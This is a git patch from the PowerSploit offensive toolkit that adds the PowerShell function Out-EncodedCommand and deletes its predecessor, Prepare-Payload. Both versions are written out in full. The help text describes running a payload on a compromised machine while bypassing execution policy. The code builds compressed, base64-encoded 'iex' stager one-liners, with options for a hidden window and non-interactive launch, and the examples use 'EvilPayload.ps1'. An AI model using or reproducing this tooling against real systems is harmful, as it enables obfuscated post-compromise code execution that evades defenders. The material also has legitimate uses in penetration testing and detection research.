From 33794a3d3f6dc101e3b1857a2e9e0dad49012f48 Mon Sep 17 00:00:00 2001 From: bitform Date: Sat, 19 Jan 2013 08:35:10 -0500 Subject: Improved Prepare-Payload (now Out-EncodedCommand) * Renamed Prepare-Payload to Out-EncodedCommand in order to conform to a standard cmdlet verb. * Fixed bug in PowerShell v2 * Defaults to full base-64 encoding unless it exceeds the cmd.exe character limit. Otherwise, it will default to partial base-64 encoding in an effort to save space. Thanks @Carlos_Perez for the idea! * User will be prompted if the cmd.exe character limit is exceeded. * Command-line output uses truncated arguments in order to save space. Thanks @obscuresec! --- Out-EncodedCommand.ps1 | 182 +++++++++++++++++++++++++++++++++++++++++++++++++ Prepare-Payload.ps1 | 154 ----------------------------------------- 2 files changed, 182 insertions(+), 154 deletions(-) create mode 100644 Out-EncodedCommand.ps1 delete mode 100644 Prepare-Payload.ps1 diff --git a/Out-EncodedCommand.ps1 b/Out-EncodedCommand.ps1 new file mode 100644 index 0000000..72d47e8 --- /dev/null +++ b/Out-EncodedCommand.ps1 @@ -0,0 +1,182 @@ +function Out-EncodedCommand +{ +<# +.SYNOPSIS + +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +PowerSploit Module - Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause + +.DESCRIPTION + +Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER EncodedOutput + +Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. + +.EXAMPLE + +C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} + +powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() + +.EXAMPLE + +C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput + +powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= + +Description +----------- +Execute the above payload for the lulz. >D + +.NOTES + +This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) + +.LINK + +http://www.exploit-monday.com +#> + + [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'FilePath' )] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $Wow64, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [Switch] + $EncodedOutput + ) + + if ($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) + } + else + { + $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) + } + + $CompressedStream = New-Object IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) + $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) + $DeflateStream.Dispose() + $CompressedScriptBytes = $CompressedStream.ToArray() + $CompressedStream.Dispose() + $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) + + # Generate the code that will decompress and execute the payload. + # This code is intentionally ugly to save space. + $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + + # Base-64 strings passed to -EncodedCommand must be unicode encoded. + $UnicodeEncoder = New-Object System.Text.UnicodeEncoding + $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) + + # Build the command line options + # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea. + $CommandlineOptions = New-Object String[](0) + if ($PSBoundParameters['NoExit']) + { $CommandlineOptions += '-NoE' } + if ($PSBoundParameters['NoProfile']) + { $CommandlineOptions += '-NoP' } + if ($PSBoundParameters['NonInteractive']) + { $CommandlineOptions += '-NonI' } + if ($PSBoundParameters['WindowStyle']) + { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" } + + $CmdMaxLength = 8190 + + # Build up the full command-line string. Default to outputting a fully base-64 encoded command. + # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial + # base-64 encoding to save space. Thanks @Carlos_Perez for the idea. + if ($PSBoundParameters['Wow64']) + { + $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" + + if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) + { + $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" + } + + if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) + { + $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" + } + } + else + { + $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" + + if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) + { + $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" + } + + if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) + { + $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" + } + } + + if ($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' + } + + Write-Output $CommandLineOutput +} \ No newline at end of file diff --git a/Prepare-Payload.ps1 b/Prepare-Payload.ps1 deleted file mode 100644 index 0420a49..0000000 --- a/Prepare-Payload.ps1 +++ /dev/null @@ -1,154 +0,0 @@ -function Prepare-Payload -{ -<# -.SYNOPSIS - -Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. - -PowerSploit Module - Prepare-Payload -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause - -.DESCRIPTION - -Prepare-Payload prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. - -.PARAMETER ScriptBlock - -Specifies a scriptblock containing your payload. - -.PARAMETER Path - -Specifies the path to your payload. - -.PARAMETER NoExit - -Outputs the option to not exit after running startup commands. - -.PARAMETER NoProfile - -Outputs the option to not load the Windows PowerShell profile. - -.PARAMETER NonInteractive - -Outputs the option to not present an interactive prompt to the user. - -.PARAMETER Wow64 - -Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. - -.PARAMETER WindowStyle - -Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. - -.EXAMPLE - -C:\PS> Prepare-Payload -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden - -powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= - -Description ------------ -Execute the above payload for the lulz. >D - -.EXAMPLE - -C:\PS> Prepare-Payload -ScriptBlock {Write-Host 'hello, world!'} - -powershell.exe -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQwB5AC8ASwBMAEUAbgBWADkAYwBnAHYATABsAEYAUQB6ADAAagBOAHkAYwBuAFgAVQBTAGoAUABMADgAcABKAFUAVgBRAEgAQQBBAD0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA - -.NOTES - -This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) - -.LINK - -http://www.exploit-monday.com -#> - - [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( - [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] - [ValidateNotNullOrEmpty()] - [ScriptBlock] - $ScriptBlock, - - [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'FilePath' )] - [ValidateNotNullOrEmpty()] - [String] - $Path, - - [Switch] - $NoExit, - - [Switch] - $NoProfile, - - [Switch] - $NonInteractive, - - [Switch] - $Wow64, - - [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] - [String] - $WindowStyle - ) - - if ($PSBoundParameters['Path']) - { - Get-ChildItem $Path -ErrorAction Stop | Out-Null - $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) - } - else - { - $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) - } - - $CompressedStream = New-Object IO.MemoryStream - $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) - $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) - $DeflateStream.Dispose() - $CompressedScriptBytes = $CompressedStream.ToArray() - $CompressedStream.Dispose() - $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) - - # Generate the code that will decompress and execute the payload. - # This code is intentionally ugly to save space. - $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' - - # Base-64 strings passed to -EncodedCommand must be unicode encoded. - $UnicodeEncoder = New-Object System.Text.UnicodeEncoding - $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) - - # Build the command line options - $CommandlineOptions = New-Object String[](0) - if ($PSBoundParameters['NoExit']) - { $CommandlineOptions += '-NoExit' } - if ($PSBoundParameters['NoProfile']) - { $CommandlineOptions += '-NoProfile' } - if ($PSBoundParameters['NonInteractive']) - { $CommandlineOptions += '-NonInteractive' } - if ($PSBoundParameters['WindowStyle']) - { $CommandlineOptions += "-WindowStyle $($PSBoundParameters['WindowStyle'])" } - - if ($PSBoundParameters['Wow64']) - { - $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript" - } - else - { - $CommandLineOutput = "powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript" - } - - if ($EncodedPayloadScript.Length -gt 32688) - { - Write-Warning 'The encoded portion of this command exceeds the maximum allowed base64 string length!' - } - - if ($CommandLineOutput.Length -gt 8190) - { - Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' - } - - Write-Output $CommandLineOutput -} \ No newline at end of file -- cgit v1.2.3